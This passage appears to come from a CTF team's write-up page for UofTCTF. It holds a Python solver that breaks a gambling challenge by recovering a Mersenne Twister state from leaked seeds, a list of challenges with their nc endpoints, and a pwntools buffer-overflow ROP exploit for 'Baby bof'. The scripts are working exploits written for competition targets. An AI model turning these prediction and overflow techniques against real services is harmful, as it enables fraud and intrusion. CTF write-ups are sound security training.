    sig = hmac.new(str(server_seed).encode(), nonce_client_msg, hashlib.sha256).hexdigest()
    index = 0
    lucky = int(sig[index*5:index*5+5], 16)
    while (lucky >= 1e6):
        index += 1
        lucky = int(sig[index * 5:index * 5 + 5], 16)
        if (index * 5 + 5 > 129):
            lucky = 9999
            break
    return round((lucky % 1e4) * 1e-2)

class RemoteConnection:
    def __init__(self, host, port):
        self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.s.connect((host, port))
        self.buffer = b""

    def read_until(self, delimiter):
        while delimiter.encode() not in self.buffer:
            data = self.s.recv(1024)
            if not data:
                break
            self.buffer += data
        
        if delimiter.encode() in self.buffer:
            pos = self.buffer.find(delimiter.encode()) + len(delimiter)
            result = self.buffer[:pos]
            self.buffer = self.buffer[pos:]
            return result.decode()
        return ""

    def read_line(self):
        while b"\n" not in self.buffer:
            data = self.s.recv(1024)
            if not data:
                if self.buffer: # Return remaining buffer as line
                    res = self.buffer
                    self.buffer = b""
                    return res.decode()
                return None
            self.buffer += data
        
        pos = self.buffer.find(b"\n") + 1
        result = self.buffer[:pos]
        self.buffer = self.buffer[pos:]
        return result.decode()

    def send_line(self, line):
        self.s.sendall((line + "\n").encode())

    def close(self):
        self.s.close()

def solve():
    HOST = "34.162.20.138"
    PORT = 5000
    
    print(f"Connecting to {HOST}:{PORT}...")
    conn = RemoteConnection(HOST, PORT)

    # Initial prompt
    print("Reading initial banner...")
    conn.read_until("> ")

    # Step 1: Play 624 games to collect seeds
    print("Step 1: Playing 624 games to collect seeds...")
    conn.send_line("b") # gamble
    conn.read_until("Wager per game (min-wager is") # variable
    conn.read_until(": ")
    conn.send_line("1") # wager 1
    conn.read_until("Number of games (int): ")
    conn.send_line("624") # 624 games
    conn.read_until("Enter your number higher or equal to the roll between 2-98 (prize improves with lower numbers): ")
    conn.send_line("98") # safe bet
    conn.read_until("Do you wish to proceed? (Y/N)")
    conn.send_line("Y")

    # Read output and parse seeds
    server_seeds = []
    
    # We expect 624 lines of game output
    buffer = ""
    while True:
        line = conn.read_line()
        if not line:
            break
        
        # Print progress every 50 lines
        if len(server_seeds) % 50 == 0 and "Server-Seed" in line:
            print(line.strip())

        if "Server-Seed:" in line:
            match = re.search(r"Server-Seed: (\d+)", line)
            if match:
                server_seeds.append(int(match.group(1)))
        
        if "Final Balance" in line:
            buffer = line # Keep final balance line
            break
    
    print(f"Collected {len(server_seeds)} seeds.")
    if len(server_seeds) != 624:
        print("Error: Did not collect 624 seeds.")
        conn.close()
        return

    # Step 2: Reconstruct PRNG state
    print("Step 2: Reconstructing PRNG state...")
    state_vals = [untemper(y) for y in server_seeds]
    reconstructed_state = (3, tuple(state_vals + [624]), None)
    
    r = random.Random()
    r.setstate(reconstructed_state)
    
    # Current nonce is 624
    nonce = 624
    client_seed = "1337awesome"
    
    # Check current balance
    match = re.search(r"Final Balance: ([\d\.]+)", buffer)
    current_balance = float(match.group(1)) if match else 0
    print(f"Current Balance: {current_balance}")

    # Wait for prompt after game loop
    conn.read_until("> ")

    # Step 3: Win until rich
    while current_balance < 10000:
        # Predict next seed
        next_server_seed = r.getrandbits(32)
        
        # Calculate roll
        roll = calculate_roll(next_server_seed, client_seed, nonce)
        print(f"Predicted next roll (Nonce {nonce}): {roll}")
        
        min_wager = current_balance / 800.0
        # Round min_wager up slightly to avoid float precision issues if server is strict
        # But server uses `wager < self.balance/800`
        
        bet_amount = min_wager
        greed = 98
        
        if roll <= 98:
            bet_amount = current_balance
            greed = max(2, roll)
            print(f"WINNING OPPORTUNITY! Betting {bet_amount} on {greed}")
        else:
            print("Losing roll. Betting minimum.")

        # Execute bet
        conn.send_line("b")
        conn.read_until("Wager per game") 
        conn.read_until(": ")
        conn.send_line(str(bet_amount))
        conn.read_until("Number of games (int): ")
        conn.send_line("1")
        conn.read_until("Enter your number higher or equal to the roll")
        conn.send_line(str(greed))
        conn.read_until("Do you wish to proceed? (Y/N)")
        conn.send_line("Y")
        
        # Read result
        line = conn.read_line() # Game output
        print(line.strip())
        
        while "Final Balance" not in line:
            line = conn.read_line()
            print(line.strip())
            if "Final Balance" in line:
                match = re.search(r"Final Balance: ([\d\.]+)", line)
                if match:
                    current_balance = float(match.group(1))
                    print(f"New Balance: {current_balance}")
                break
        
        conn.read_until("> ")
        nonce += 1
        
        if current_balance >= 10000:
            print("Target balance reached!")
            break

    # Step 4: Buy Flag
    print("Step 4: Buying Flag...")
    conn.send_line("a") # Shop
    conn.read_until("> ")
    conn.send_line("a") # Buy flag
    
    print("Reading flag...")
    while True:
        line = conn.read_line()
        if not line:
            break
        print("OUTPUT LINE:", line.strip())
        if "uoftctf{" in line:
            print("FLAG FOUND:", line.strip())
            break
        if "options:" in line: # Back to menu
            break
            
    conn.close()

if __name__ == "__main__":
    solve()

UofT LFSR Labyrinth | 状态:running|Reproduction

题目描述

A quirky 48-bit UofT stream taps through a WG-flavoured filter, leaving 80 bits of trace and a sealed flag. The blueprint is public; the hidden state is the dance you need to unravel.

WriteUp

暂无

MAT247 | 状态:running|Reproduction

题目描述

If V admits a T-cyclic vector, and ST=TS, show that S = p(T) for some polynomial T.

WriteUp

暂无

Orca | 状态:running|Reproduction

题目描述

Orcas eat squids :(

nc 34.186.247.84 5000

WriteUp

暂无

Rotor Cipher | 状态:running|Reproduction

题目描述

We captured a rotor cipher, but they destroyed the rotors before we got to it. Can you recover the rotor wiring?

WriteUp

暂无

MAT347 | 状态:running|Reproduction

题目描述

Groups, Rings, and Fields. But only groups (and modules!).

nc 104.196.21.25 5000

WriteUp

暂无

Pwn

Baby bof | 状态:solved|Live

题目描述

People said gets is not safe, but I think I figured out how to make it safe.

nc 34.48.173.44 5000

WriteUp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'

exe = './chall'
elf = context.binary = ELF(exe, checksec=False)

if args.REMOTE:
    io = remote('34.48.173.44', 5000)
else:
    io = process(exe)
WIN = elf.symbols['win'] # 0x4011F6
rop = ROP(elf)
RET = rop.find_gadget(['ret'])[0]
payload  = b'A' * 7
payload += b'\x00'                     
payload += b'B' * (24 - len(payload))  
payload += p64(RET)                    
payload += p64(WIN)                   

io.recvuntil(b'What is your name')
io.sendline(payload)

io.interactive()

extended-eBPF | 状态:running|Reproduction

题目描述

I extended the eBPF because its cool.

Note: You can log in as the ctf user

nc 34.26.243.6 5000

WriteUp

暂无

Calculator | 状态:running|Reproduction

题目描述

Look at this very simple calculator I implemented in c++.

nc 34.162.229.67 5000

WriteUp

暂无

uprobe | 状态:running|Reproduction

题目描述

uprobes are cool

Note: You can log in as the ctf user

nc 136.107.76.27 5000

WriteUp

暂无

AES AEAD| 状态:running|Reproduction

题目描述

We tried rolling our own crypto. What could possibly go wrong?

nc 35.185.46.39 5000

WriteUp

暂无